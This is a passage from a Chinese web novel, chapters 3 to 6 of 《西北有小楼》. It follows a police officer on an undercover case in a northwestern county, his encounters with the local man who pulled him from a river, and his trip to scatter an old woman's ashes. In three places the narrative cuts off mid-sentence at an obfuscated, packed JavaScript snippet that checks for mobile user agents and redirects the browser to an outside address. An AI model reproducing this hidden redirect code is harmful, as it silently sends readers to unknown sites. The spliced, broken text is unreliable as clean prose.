《西北有小楼》 3. 第 3 章 方秉雪半边脸都是木的。 风声很大,一条胳膊绕过他的下巴颏,从后面拖着他往岸上游,这是个受制于人的危险姿势,最脆弱的咽喉被扼住,对方动作并不温柔,强硬而粗暴。 方秉雪接连呛水,耳畔轰鸣。 身体率先做出反应,右手本能地往下寻找配枪,群山万壑,河水翻涌,方秉雪抬头呼吸的瞬间,停下动作。 他看到了广袤的夜空,铅云散去,露出隐约星光。 “哗啦啦——” 骤然离开水面,失重感随即传来,方秉雪到底是个成年男人,对方的手劲儿却大得出奇,他几乎是被人拎着、拽着、一把提了到岸上。 所有人都围过来察看情况,月光白生生地落下,衬得大地像燃尽的灰,方秉雪仰面躺在地上,大脑一片空白。 太屈辱了。 睁开眼后,他第一反应就是想驱散群众,无论是格斗训练还是真刀真枪的追捕,方秉雪从没被打过脸,周围乱糟糟的,问需不需要去医院,他机械式地摇头,刚撑着坐起来,就感觉一阵天旋地转。 与此同时,周旭接过旁人递来的毛巾,随意地擦着身体。 “旭哥,没见着另一个?” “见着了。” “哎?” 问话的人不明所以,不太理解周旭这句话的意思,可周旭又不解释了,于是试探着开口:“那我跟下游的老张联系一下,明天坐船捞吧。” 男人赤着上半身,后背还有些晶莹而饱满的水珠,挂在麦色肌肤上,半落不落的样子,随着擦拭的动作才汇聚着下滑,悄然消失在劲瘦的腰线里。 他没再继续这个话题,而是拎着毛巾上前,微微俯身,看向这个在短时间内,已经是第二次见面的陌生男人。 咳得厉害,侧脸的掌痕明显,泛着红。 周旭刚才那一巴掌是真的动了气,出手也重了些,没办法,这人看着挺纤细,但在河里跟疯了似的,搞得他都招架不住,完全就是一副不要命的混样子。 长得还挺好看的,怎么就想不开了,大晚上先是抱着骨灰盒哭,然后又跟人跳河呢? 周旭弯腰,随手捏住方秉雪的下巴看了看,能自主呼吸,口鼻也没有落叶杂草之类的堵塞,瞧着无甚大碍,就是在河里挣扎时间太久,浑身湿淋淋的,仿佛给眼睛也洗得干净,黑白分明,很漂亮。 就是表情有点懵,傻乎乎的,显得刚才的惊鸿一瞥,像是错觉。 奇怪,救人时和对方视线接触的刹那,周旭居然心头一跳。 他觉得那双眼眸,很亮,很凌冽。 有种带着杀机的美。 “啪!” 对方挥手,给周旭的胳膊打开了。 周旭挑了下眉,沉默地看他。 “哎呀后生你是不知道,这条河有多凶险!” “明天去下游那看看,别想不开,赶紧联系家人吧。” “就是,这河看着浅,里头都是老深的沙坑!” 七嘴八舌的劝慰中,对方勉强平稳住呼吸,踉跄站起,四处张望,竟是又要往河里走的样子。 周旭的脸拉下来了。 他毫不客气地给毛巾甩过去,兜头扔那人脑袋上:“你当老子给你从河里捞出来,是闹着玩?” “烂命一条不想要了是吧,”周旭骂人的时候很凶,脖颈上都绷着青筋,“成,那你跳,今晚上你要是再往里头跳,保证没人给你收尸!” 他冒完火就转身离开,一路还踢飞了个易拉罐,骨碌碌地滚了很远,那个小眼镜慌忙跟上,小心翼翼地笑:“旭哥,我载你回去吧?” 周旭没说行,也没说不行,脸色有些差。 都说他手硬心黑,因为只要遇见自尽死去的,或在水里发现尸身,请周旭去捞,他就懒洋洋地叼着草杆,眉梢一挑,坐地起价。 语气无赖,有种蛮不讲理的狠劲:“急什么,反正人已经没了。” 不少人背地里看不上他,觉得这是发死人财。 这些周旭自然知道,但也无所谓,他一人吃饱全家不饿,管外面洪水滔天,这会儿衣服已经穿好了,身子还是有点冷,周旭从小眼镜那要了根烟,刚叼嘴里—— “砰!” 有人从旁边经过,狠狠地撞了下他的肩膀,竟然给周旭都撞得趔趄了下。 周旭“嘶”了一声,眯着眼睛打量过去,只见那个被自己从水里捞出来的年轻人,正闷声不响地往前走,刚才砸过去的毛巾,人家也没用,毫不客气地丢在地上,所以浑身还是湿透的,衣服很重,“啪嗒啪嗒”地往下淌水。 显得背影倔强又狼狈,只留下两溜儿湿漉漉的脚印。 刚好,后面突然传来动静,一阵惊呼。 “哎,出来了?” “搭把手,别光看着啊!” 小眼镜噌地一下转身,满脸讶异:“哥,有人从河里爬出来了……没沉下去啊!” 周旭低头给烟点上,含糊地“嗯”了一声。 进水那会儿他就看见了,说什么沉下去,其实就在不远地方浮浮沉沉,眼看着会水,水性也相当不错,被他揪住的才是个旱鸭子,所以给人拎上岸后,周旭就拿毛巾擦了擦身体,不打算再下水。 还殉情呢。 一个假意一个真心的情况,周旭见的多了,没当回事,只是这等桃色话题实在吸引人眼球,都多久了,岸边的人还围在一块儿窃窃私语,不肯散去,几个钓鱼佬连杆子都不顾了,也要用眼睛追着人家看—— 那个从河里爬上来的男人,匆忙道谢后,就踉踉跄跄地去追另一个了。 跑得还挺快,没多久,身影就一块消失在夜幕下。 小眼镜话是真多:“果然俩男的,情种啊……” 是不是情种周旭不知道。 但他知道,这人是个报复心极强的倔驴。 因为自己情急之下的巴掌,就恶狠狠地撞了他一下,然后一言不发地离开,连声谢谢也不说。 拉倒吧。 周旭斜靠在摩托车上,嘴里还咬着烟,眉眼冷硬。 “啧,真没素质。” - “说谁呢!” 方秉雪杀气腾腾地抬眸:“你再说一遍?” 王川把一盘水果放桌上,随即后退:“我什么也没说。” 他逃跑的速度太快了,和刚才从河里爬出来的狼狈两模两样,秒速流窜到了厨房,保证附近有菜刀等武器后,才嬉皮笑脸地探头。 “真的不行吗,”王川扒着门框,“你这模样完全可以上新闻了,我就拍一张……哎呀我又不给别人看,发彩信多贵呀!” 他噗嗤一声笑了:“主要真没见过你这样哈哈哈!” 双眼泛红,脸颊还有掌印,浑身裹着个粉色珊瑚绒的小毯子,显得可怜,弱小,又无助。 和记忆中的精英形象完全不同! 方秉雪面无表情。 王川是他大学同学,貌不惊人,脑回路却十分清奇,一个四川人跑到东部警校读书,然后又来西北基层入职,本来说要去接应方秉雪的就是他,但是被突发情况绊着了,没走成。 这也是今晚这出闹剧的原因—— 吃牛肉面那会,方秉雪一眼就感觉不对劲了,那个拎着腊鱼的男人,无论是走路姿势还是口音,都特意掩盖过,普通群众自然不会注意,可对于拥有敏锐直觉的刑警来说,他几乎是瞬间就和一个形象联系起来。 是一起跨省特大抢劫杀人案。 团伙的几名核心成员,至今尚未落网。 方秉雪不动声色地跟上了,对方警惕心很强,行为举止非常自然,包括去公共电话亭的时候,都保持着憨厚的神态,整个人都平平无奇。 与此同时,收到短信的王川从街对面走来。 “建军,”方秉雪眼前一亮,亲昵地招手,“你怎么才来?” 电话亭内的身影,微妙地顿了下。 王川心领神会地迎上去:“嗐,耽误了一小会,我们领导简直是神经病……” 两人神色如常,说说笑笑地离开,四周也无人注意这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15180705|165252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小小的插曲,毕竟太过平常,就像建军这个名字一般—— 不过,陈建军,是案件嫌疑人的真实姓名。 这点反应,足够了。 方秉雪不是专案组成员,没询问这边的具体细节,不知道案件进行到了哪一步,但砾川县的警力实在不足,连王川都是从临县抽调过来的,所以晚上的行动,方秉雪也参与了。 很简单,陈建军在饭店工作,他父亲会在晚上去捡拾废弃饮料瓶,趁着这个机会,警方上门搜查,试图在陈建军家里提取有效DNA进行比对,同时寻找证据,看能不能发现其他逃犯藏身之处。 可惜今晚战绩不佳,拖着蛇皮袋的老头叹了口气,就准备提前返回。 一辆普通的小型轿车内,王川收起对讲机,拍了下方秉雪的肩。 最初只是吵架。 但不知道怎么回事,竟然拉拉扯扯了起来,王川演戏上瘾,对着方秉雪嗷一嗓子:“你个没良心的,我不活了!” 周围的群众原本兴致缺缺,一下子竖起了耳朵。 只有那个老头还充耳不闻,踩扁了一个矿泉水瓶子,就要离开。 不行,屋内的警方还没撤离,并且已经取得突破性进展—— 王川哭天抹泪的:“咱俩在一起容易吗,你有什么不满意的,啊?” 同时压低声音,语速很快:“饼你会游泳不……” 方秉雪毫不犹豫:“来!” 人群喧闹。 老头扭过脸,浑浊的眼睛都睁大了。 方秉雪的名字有些拗口,所以朋友们就喊他饼儿,或者干脆倒过来,叫他雪饼。 如果有时候他特别荡漾,穿得花枝招展,就是烧饼。 此时的方秉雪觉得,自己变成了冰皮绿豆饼—— 从水里出来,他就被冻感冒了,这会儿裹着毯子也不行,浑身都抖,脸色也有些绿,不太好。 王川清了清嗓子,进行反思复盘:“我也觉得有点冒险了,你看都有群众下水救人,万一出点什么事,咱们的二等功……” “阿嚏!” 方秉雪连着打了俩喷嚏。 王川顿了下,不大好意思地开口:“我去给你找点药片?” “别了,”方秉雪把毯子丢下,“你刚拿出来的感冒药都过期了,我去药店看看。” 都大老爷们,没啥矫情的。 在王川看来,虽然方秉雪长得娇贵,其实挺糙的,所以他就心安理得地叮嘱了两句,随对方去了。 折腾许久,已经是凌晨了,方秉雪其实体力有点撑不住,他舟车劳顿,从昨天到现在几乎水米未进,只吃了两口面,所以脚步就发虚,头也晕。 深夜,这座西北小城已经熟睡,只有几家店亮着稀稀拉拉的光。 方秉雪从王川的宿舍楼里出来,走了会儿才见到家小超市,准备买两包泡面,垫下肚子。 正在货架那找呢,余光发现了抹高大身影,些许眼熟。 不知是疲惫导致的幻觉,还是真的记忆被唤醒,方秉雪仿佛嗅到了很淡的机油味,混杂着河水的冷腥,强硬地向他靠近,苍白的指尖顿住,方秉雪放缓呼吸,侧身闪进最里面的货架。 超市装修简陋,没有贴瓷砖,交叠的影子隐在灰黑色的水泥地上。 方秉雪微微弯着腰,很认真挑选商品的模样。 可他确定,周旭已经发现自己了。 下一秒,那懒洋洋的声音就从旁边传来,可能刚抽过烟,还有点磁性的哑。 “大晚上的出来,你就买这个?” 头顶是暗黄色的灯泡,钨丝老化了,偶尔闪一下橙红的光,县城里的超市也没那么规范,东西摆放得有些乱,薯片和饮料堆在一起,花花绿绿的。 方秉雪怔了下,他真的是累坏了,又饿又晕,定睛看时才发现,自己伸手去拿的竟然不是泡面。 而是一整排的AD钙奶。 货架还贴心配上硕大的儿童画广告—— “甜甜的,酸酸的,宝贝天天喝,宝贝真快乐!” 4.第 4 章 方秉雪没什么表情,特别自然地给手放下了。 就像什么都没发生一样。 他这会心情有些复杂,的确挺感谢周旭的,人家帮忙修车,还奋不顾身地下河救人,这要是以前,方秉雪说啥都要去申请个见义勇为。 但偏偏是为着案情。 那会儿他被一巴掌打蒙了,身上没带对讲机,还得维持一副湿淋淋的脆弱状态,使劲儿往后看,想瞅瞅王川那边什么情况,结果可能是误会了,被劈头盖脸地砸过来一条毛巾。 方秉雪眼皮子一跳,也恼了。 水里的王川冲他比了个手势后,他便不由分说地离开,狠狠撞了一下对方的肩。 方秉雪不是不知好歹的人,大部分情况下都挺懂事,尤其是在工作方面,更是没脾气,哪怕受了委屈也能理解,所以这会儿反应过来,脸上有些挂不住。 觉得不好意思了。 怎么冤家路窄,又在这碰着了呢。 落在周旭眼里,就是这人被他吓了一跳,红着眼睛,讷讷地给手收回去了。 方秉雪换的是王川的衣裳,一件浅灰色薄绒卫衣,宽松款,放在他身上有些大,尤其是袖子那,就露出点指尖。 周旭眯着眼,莫名其妙地想到一个画面,感觉对方耷拉脑袋缩着手,像是冻猫保护自己的肉垫。 “嗯,”方秉雪声音很小,“买点东西。” 狭窄的两排货架内,方秉雪站在最里面的位置,从周旭的角度,只能看见他垂下的睫毛,还挺长,被昏黄的灯光照着,有种毛茸茸的质感,而被打的那张脸在另一侧,看不到,不知上面是否还有指痕。 周旭舔了下嘴唇,没再说什么。 像是太无所事事了,随便地走过来,搭两句话,就转身离开。 方秉雪松了一口气。 他快速地从货架上拿了泡面和饼干,就去结账,超市老板是个中年男人,正趴在玻璃柜台上面呼呼大睡,脸埋在两条胳膊里,下面一排的烟盒,摆放得很乱。 电视机还开着,信号不好,响着电流的滋啦声。 方秉雪看了看睡着的老板,又抬头去看周旭——对方挨着柜台,坐在个小马扎上,很闲情逸致地逗一只小土狗。 黄白相杂的毛,稀稀拉拉的,听见动静才慢吞吞地转身,好家伙,还是个龅牙,贼拉丑。 周旭挠着小狗的脑袋:“四块钱。” 方秉雪:“哦……好的。” 他从兜里找出张十块的纸币,放桌上了。 周旭没抬头:“零钱不够,给你两根烟……抽黄鹤楼吗?” 方秉雪“啊”了一声,没反应过来。 周旭这才站起来,从柜台下面扯出塑料袋:“逗你的。” 方秉雪:“……” 怎么说呢,深更半夜,熟睡的老板还在打鼾,陌生而凌乱的小超市内,气质凶悍的男人硬邦邦地跟他开玩笑,还用的是第一次见面时的话。 似乎并不怎么好笑。 方秉雪还记得自己的身份,低着头,拘谨无措的模样。 找零的五元纸币被推了过来,泡面和饼干装在一个浅红色的塑料袋里,拎着沉甸甸的。 因为里面还有一整排AD钙奶。 周旭说:“找不开。” 他又坐回马扎上,挠小狗的下巴:“拿去喝吧。” - 方秉雪晚上没住王川这。 他把洗好的衣服换回来,还有些潮湿,王川打着呵欠:“你穿我的也没啥啊,这件你拿走呗,反正是新的我都没穿过。” 方秉雪说:“别扭。” 他大后天才正式入职,明天还得忙老奶奶下葬的事,这会儿风卷残云地吃完泡面,终于感觉身上暖和:“走了。” 王川站起来:“成,我先去个厕所。” 方秉雪:“嗯。” 他拎着塑料袋走到门口,换鞋,拧门把手,身体都探出去了,才想起来什么似的转身:“对了,那个周旭……” 王川刚从厕所出来,还在甩手上的水:“谁?” 方秉雪问:“就下水救人的那个,你了解吗?” 最开始方秉雪觉得这人是修车,或者送货的,不然不会对车辆如此熟悉,可刚才又遇见了,很闲的样子,大晚上的不睡觉,在超市里逗狗玩。 不管怎么说,方秉雪觉得周旭肯定住在附近。 没想到王川摇头:“不认识。” 他继续:“我又没在砾川县上班,就借调过来半个月,怎么,你觉得这人不对劲?” 王川立刻警惕起来:“用不用我问下局里?” 方秉雪笑了:“不用,没什么。” 这里离他住的宾馆有点远,就让王川开车送他了,打呵欠传染,方秉雪本来就有点困,这下完蛋,也跟着揉眼睛,呵欠连天。 王川“嘶”了一声:“饼儿,你陪我说会话,不然我疲劳驾驶。” 方秉雪阖着眼,整个人都缩在椅背里,领子往上拉,就露出半张恹恹的脸:“累了,不说。” “你这人,”王川不满道,“能不能给点反应啊,咱毕业后都一直没见,也不说热络下。” 见方秉雪不搭理,他就继续叨叨:“我还一直没问呢,你怎么突然来这边驻点,为着履历漂亮,增加基层工作经验吗?” 都是大学同学,说话也不藏着掖着,王川转动方向盘:“但这种情况我建议你去贫困县,或者更偏远点的地,砾川在西北太普通了。” 方秉雪没睁眼:“闭嘴。” 王川沉默了会,又觑了眼方秉雪的脸色:“并且我记得你家里……” 剩下的话方秉雪没听到。 因为他已经迷迷糊糊地睡着了。 被王川叫醒的时候,才猛然一惊,张了张嘴,像是要说什么的样子,但是都过去了好几秒也没声。 王川等急了,家乡话都出来了:“爪子了?” 方秉雪表情有些呆滞,脸颊微红,鼻子小幅度地皱了下,终于—— “阿嚏!” 得,这下不仅是重感冒,还发烧了。 宾馆的床上,方秉雪躺着缓了会儿,拿手背贴了下自己的脸,感觉热得能烙饼,呼出的气也是烫的,整个人都热烘烘快要冒烟。 刚才出去的时候,忘记买药了,这会儿时间太晚,哪儿还有亮着灯的店? 可能在这处西北小城,只有他临时住宿的房间还醒着,在深重夜色里,仿若火钳子烫出的小小光点。 方秉雪下床,给自己烧水喝。 真是晕了,水开后倒进杯子里,吹了两口就凑上去—— 竟不觉得烫。 可神智终于被灼得清醒些许,方秉雪给杯子放好,去洗手间照了下镜子,被这狼狈的模样逗笑了。 过敏还没好,眼尾红着,脸颊上的指痕也没下去,烧得酡红一片,而嘴唇更是被烫到,有些微微浮肿。 方秉雪笑了会儿,用凉水洗了洗脸。 然后回到床上,把被子拉得很高,给自己整个人都裹进去,他生活自理能力其实挺好的,也没真的给这病当回事,就学着小时候妈妈照顾的方法,闷汗。 就是太阳穴突突地跳,脑袋很痛。 方秉雪很快就热得出汗了,伸手一摸,额发已经湿了,喉咙也干哑,烧得疼,他强迫自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15188907|165252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己闭着眼,把滚烫的呼吸拉得很长,慢慢地平复过快的心跳。 没过多久,方秉雪渴得受不了,从床上爬起来去喝水,但烧水壶里的水还没凉,摸着就烫手。 他抿了抿嘴,把床头柜的塑料袋打开,拿了瓶AD钙奶出来。 手抖,费了些力气才把吸管扎进去。 方秉雪一口气喝了半瓶,抽了下鼻子。 声音很哑:“谢谢啊。” 另一边的超市里,周旭伸手拿起遥控器,给电视关了。 老板唰地一下坐直身子,脸上都是压出来的印:“哎,几点了?” 有背景音的时候这人睡得熟,安静下来反而立刻醒了,周旭给遥控器放好:“一点半了。” 老板揉了揉手腕:“哦……” 周旭说:“刚才有人过来买东西,钱我给你放进去了。” 老板似乎还没从睡意里清醒过来,又说了一声“哦。” 周旭说:“你数数。” “这哪儿用啊,”老板连忙开口,“我还能不放心……啊?” 他睁大眼睛,使劲儿拍了拍自己的脸,喉咙吞咽了下。 周旭脸上没什么表情:“嗯,刚走的,没什么痛苦。” 他还在那个马扎上坐着,有些年头了,上面军绿色的布带都磨得薄了,和这家小超市一样,带着种沉闷而绵长的老旧。 但也没有周旭怀里这只狗老。 稀稀拉拉的毛发没有光泽,身体软软的,在周旭的臂弯里显得很小,一动不动。 “十四岁了,”周旭平静地抱着它,“挺好的。” 老板从柜台后绕出来,往前两步,搓了搓手:“前半夜它往外跑了好几次,我就琢磨着不对劲……所以才给你打电话,没想到还真的……” 周旭说:“嗯。” 有些狗老了,知道自己寿命无多,往往就选择死在外面,而不是留在自己最熟悉的地方,可能是不想让家人看到自个儿最后的模样,觉得难看。 但它再难看的样子,周旭也见过的。 那天下着暴雨,周旭差点开车碾到了这条狗——狗生了病,歪歪斜斜地往野地里走,走一半儿没劲了倒在马路上,只剩下胸廓在动着喘气,周旭骂骂咧咧地给它拎车里,说真不要脸还碰瓷,一看就是只蠢狗。 病了都不知道找人求救,只知道去胡乱地吃野草,在它有限的认知里,这片大地慷慨而仁慈,诞下生命,提供无数的食物。 可有人只盯着它的皮肉。 周旭拎着狗去了兽医那,没时间了,直接按误食老鼠药治的,那段日子有些黑心贩子偷狗,转手卖进狗肉馆,兽医见得多,有经验,竟也给治好了。 好了的狗,冲周旭摇尾巴,过来舔他的手指。 周旭问,你是谁家的狗? 狗不说话,望着它,还在摇尾巴。 灯泡里的钨丝闪烁,老板有些哽咽了:“它跟你有缘分。” 周旭:“嗯。” 周旭又说:“你说不忍心看,我就没叫你。” 他给狗送了回去,原本的主人经营着一家小超市,打牌结账的时候,狗都在门口躺着晒太阳,脾气很好,谁都可以摸它的头,小孩没轻没重地扯尾巴也不生气,从不咬人,只是后来得了白内障,半失明后,就不喜欢让别人碰它了。 当周旭过来的时候,才很高兴地摇尾巴。 周旭就伸手,挠它的下巴。 电视关了后,超市里就显得太安静了,老板在原地站了会儿,叹了口气:“我拿去埋了吧。” 周旭“嗯”了一声:“挺好的。” 他今晚似乎只会说这句话。 5.第 5 章 方秉雪还真没怎么喝过AD钙奶。 确切来说,这种酸酸甜甜的饮料,他基本上都没碰过,包括健力宝流行那段时间,别的小朋友都喜欢喝,喝完了要一块儿等着打嗝,方秉雪最多好奇地看两眼,便止步于此了。 他家庭挺传统的,父亲是医生,母亲是老师,从幼儿园起方秉雪就是最唇红齿白的小孩,坐的时候腿并齐,双手很乖地叠放。 报警校,选择了在常人眼里辛苦而危险的工作,是方秉雪的第一次抗拒。 父母只当他的青春叛逆期姗姗来迟,吵了很久才作罢。 而来西北驻点一年,则是他再一次的无声反抗。 “……不见。” 方秉雪的声音闷在枕头里:“别给我安排乱七八糟的相亲。” “又没说让你现在就见,”秦素梅循循善诱,“等你下周出差回来,我已经跟你舅舅打听过了,人家姑娘……” “妈,”方秉雪咳嗽了会儿,“我下周不回去。” 秦素梅“哦”了一声,问:“你嗓子怎么了?” 方秉雪说:“有点小感冒。” “记得吃药,多喝热水,”秦素梅一板一眼的,“洗完头发要吹干。” “好的秦老师,”方秉雪笑笑,“您放心。” 他妈妈在幼儿园工作了三十年,从青涩的秦老师到成熟的秦园长,温柔甜美的声线始终没变,也坚持对身边人事无巨细地叮嘱,方秉雪见过不少把生活和工作分得很开的人,曾经纳闷,他妈妈怎么能这么多年如一日呢。 但方秉雪不觉得烦,也乐意配合她。 充其量不往心里去。 就是这段时间有些受不了,原因是他父母出去吃了几次席,回来就看方秉雪不顺眼,说自己同事的孩子都结婚了,科室里新来的小护士跟方秉雪一样大,孩子都有了云云。 方秉雪当时正在捏蓝莓吃,随口说了句要不您俩养条狗? 天地良心,他没半点讽刺的意思。 纯粹就是楼下杨阿姨曾经也为孩子的婚事焦头烂额,后来她闺女不知从哪儿弄了条比格犬回来,催婚这事就消停了,方秉雪觉得杨阿姨肯定很喜欢比格,天天都带着出去溜。 他嚼着蓝莓,继续道:“人家去幼儿园接孩子,您正好和杨阿姨一块出去遛狗,我看那狗还穿着小衣裳,可好看了,比孩子强。” 秦老师还没说啥呢,方大夫呷了口茶,凉凉道:“是比孩子强,不会天天气我们。” 方秉雪刀枪不入,左耳朵进右耳朵出,没想到这次秦老师行动如此迅速,三天两头就开始给他介绍对象,往家领的那种。 好几回了,方秉雪都硬生生地收回脚步,没敢进门。 这番你来我往,面对具有极强反侦察意识的小方警察,秦素梅彻底坐不住了,很和蔼地跟儿子谈心:“你是不是有什么生理或者心理问题?” 方秉雪:“……” “我记得你一直没谈恋爱,”秦老师一副教育工作者的慈爱,“跟妈说说,真有问题的话早发现,早治疗。” 方秉雪不记得当时是怎么应付过去的了。 反正他认为自己很正常。 而正是因为他的正常,才会对未来的另一半更加珍重和向往。 “……看吧,自己在外面病了,连个知冷知热的人都没有。” 千里之外的方秉雪枕着臂弯,听得昏昏欲睡。 都忘记电话是怎么挂的了。 他这一宿不舒服,没睡好,跟蚯蚓拱土似的在床上滚来滚去,一会儿给自己裹得像蚕蛹,一会儿又把被子踹到墙角,早上醒来的时候迷迷糊糊,摸了下额头,出的全是汗。 方秉雪就有些嫌弃自己,挣扎着去冲了个澡。 出来的时候觉得饿了,给昨晚的饼干拆开吃了几口,又喝了瓶AD钙奶,终于缓过劲儿。 就是嗓子还哑着。 续房间那会一开口,宾馆老板一脸了然:“西北干燥,你没流鼻血都不错了,不少外地人来这儿不适应,那鼻血哗哗流。” 方秉雪病了,今天穿得就有点厚,还戴了个黑色口罩,就露出一双漂亮的眼睛,闻言笑了下:“那我运气还挺好。” 他一笑,眼尾也跟着弯,方秉雪眼睛长得好看,琥珀色的瞳仁大而圆,清凌凌的,这样望着人的时候就特真诚,没啥压迫感—— 当然,这都是审讯室外的他。 很能和群众打成一片。 于是,方秉雪不仅获得了药店的详细地址,也知道了哪家牛肉面做的最好吃,走的时候老板还坚持要他尝尝甜胚子,说是自家做的,外面买不来。 阳光刺眼。 方秉雪在驾驶室里吃了退烧药,安全带“咔哒”一声嵌入卡槽,他长长地呼出一口气,冲副驾驶上的骨灰盒打招呼:“走吧咱?” 骨灰盒上的小照片里,一位头发花白的奶奶拘谨地抿着嘴。 “别担心,”他转动方向盘,“马上就回家了。” 老太太身边没啥亲人,去世的时候近亲属就那个孙子,因为剩余刑期时间和改造表现不好的原因,被驳回申请,没能见上一面。 方秉雪在医院楼下抽了根烟,等身上味儿散了才回去,把情况说了。 老太太嘴上带着呼吸机,扭着脸看他,方秉雪伸手,给她的头发往后理了理。 他有点难受,不知道这位性格古怪的老太太有着怎样的人生经历,户口本上的那几行字不算,写不出她的一生,最早上班的时候,带方秉雪的师父吵过他,说你就是心太软了。 但吵完后,师父又说,心软点也挺好。 ——可方秉雪不这样认为。 一个半小时的车程结束,他在一个陌生而苍凉的村庄附近,根据老太太的吩咐,找到了那一大片的红柳林。 方秉雪觉得自己心肠挺硬的。 他踩在秤砣一般的土地上,把骨灰盒打开,在连绵的群山和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15197116|165252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 风沙的注视中,平静地把骨灰倒下。 已是黄昏,沙丘上的落日红得像血,衬得远山仿佛剥了皮的筋骨,没什么盎然的绿意青葱,是灰褐色的,沉默不语的,是最熟悉而宽容的家乡,是出生的地方。 如今,她回到了魂牵梦萦的西北,在红柳林里安然入睡。 这里比砾川县更加贫瘠,村落里没什么年轻人,方秉雪点了根烟,没抽两口就听见有人叫他。 “叔叔,别踩着羊粪蛋子了!” 方秉雪回头,一个头上裹着围巾的小孩坐在驴车上,晃着两条小短腿,远远地冲他笑,脸蛋红扑扑的。 “行,”方秉雪也笑,“谢了。” 卖豆腐的老太太一辈子都没怎么拍过照,直到办理后事时,才从公安部人口信息库调取出了存档,方秉雪根据村支书的指引,找到了那间废弃的老屋,给空了的骨灰盒留下,但剪了角的身份证,被方秉雪带走了。 他琢磨着,等老太太的孙子出来,也能有个念想。 村支书知道他是来砾川县的驻点警员,热情地要留他吃饭,方秉雪不太擅长应付这种场合,左右胳膊都被人拉着了,推辞好久才出来,结果越野车的后备箱上,放了一大捆报纸包着的蕨菜干。 “自家晒的,”村支书用皲裂的拇指蹭了蹭脸,“你拿回去泡两天,炖肉香得很!” 方秉雪嗓子还哑着,又说了个谢谢。 ——西北好啊。 回去路上,方秉雪满脑子都是这句话。 晚上九点半,夜风呼啸。 方秉雪开着越野,盘算着入职前得去洗个车,派出所那边一直以为他后天到,毕竟跟王川只算配合,对方开玩笑说二等功啥的,方秉雪不傻,没往前凑,哪儿有刚到一个地方就锋芒毕露的? 基层干警不容易,为着案子忙得家都顾不上回,在方秉雪看来,他也就搭把手而已。 虽然骨子里还有些横冲直撞,但方秉雪被父母教的好,为人处世都挺规矩。 所以他规规矩矩给车在路边停好,进了昨晚那家小超市里。 人家多给了他一排AD钙奶,这会儿,方秉雪就准备买两盒烟,权当照顾下生意。 退烧药效果不错,他除了嗓子有点哑之外,整个人已经恢复大半,全然不见昨晚的狼狈,就是过敏没好透,眼睛见了风就疼,还泛红。 昨晚那个呼呼大睡的老板此刻是醒的,聚精会神地盯着电视看,方秉雪转悠了一圈,买了点小零食,结账的时候问:“有黄鹤楼吗?” “有,”老板拉开玻璃柜抽屉,“你要软蓝还是……” 方秉雪左右看了看:“都行。” 他没见到周旭,也没见到那条小丑狗,连马扎都被收起来了,斜靠在角落。 头顶的灯泡垂下,忠实地洒着昏黄的光。 结完账,老板给塑料袋递过去,很热情:“还要什么吗?” 方秉雪收回目光:“不用了。” 6.第 6 章 方秉雪连吃了两天的牛肉面。 就是他口味有点轻,还学着人家往里头倒辣椒油,毕竟师傅说了,辣子只香不辣!结果方秉雪没吃两口就被辣出眼泪,狂灌两瓶AD钙奶。 外头风大,暗黄色的天显得很低,方秉雪出去一趟被刮得睁不开眼,回来就得洗头发,总感觉脑袋上都顶着沙。 他难得有这样闲散的时光。 以前别说洗澡了,最忙的时候连着三五天都在车里打盹,回家后被秦老师嫌弃得不行,说你都馊了,等方秉雪从浴室里出来,才勉为其难地上去抱了下儿子,说这才是我们家的香香小蛋糕。 跟着同事彻夜不眠蹲守,困得嚼茶叶,灌咖啡,拿泡面当夜宵的时候,也没想到有一天,他能这样无所事事地发呆。 竟有些不习惯了。 方秉雪叹口气,觉得自个儿真是闲不住,天生劳碌命—— “谢谢,”他跟人握手,微笑道,“方秉雪,叫我小方就行。” 还是提前就位了。 负责接应的是副局长李文斌,这几日熬得眼睛红了一圈,胡子拉碴,说话都不利索了:“哦,小方是吧,我带你去宿舍。” 方秉雪乐了:“领导,您还没放手呢。” 李文斌如梦初醒:“嗨呀……” 他这才松开方秉雪的手,简单地介绍了下情况,讲砾川县十万人左右,经济条件相对落后,部分警员对计算机操作一窍不通,更别说是DNA这样的高端技术。 “采样与保存工具都配备了,”李文斌语速快,嗓门也大,“小型发电机也有,这段时间电网不稳,怕断电。” 他边说,边带着方秉雪往家属院那走。 正值晌午,飘扬的国旗在日头下微微发烫,灼了方秉雪的眼睛,他跟在后面,目光掠过沾着黄泥的警车,沉默地走进对面的家属院,院门口有一棵高大的国槐,树枝挂了个铁皮喇叭,缠着风刮来的塑料袋。 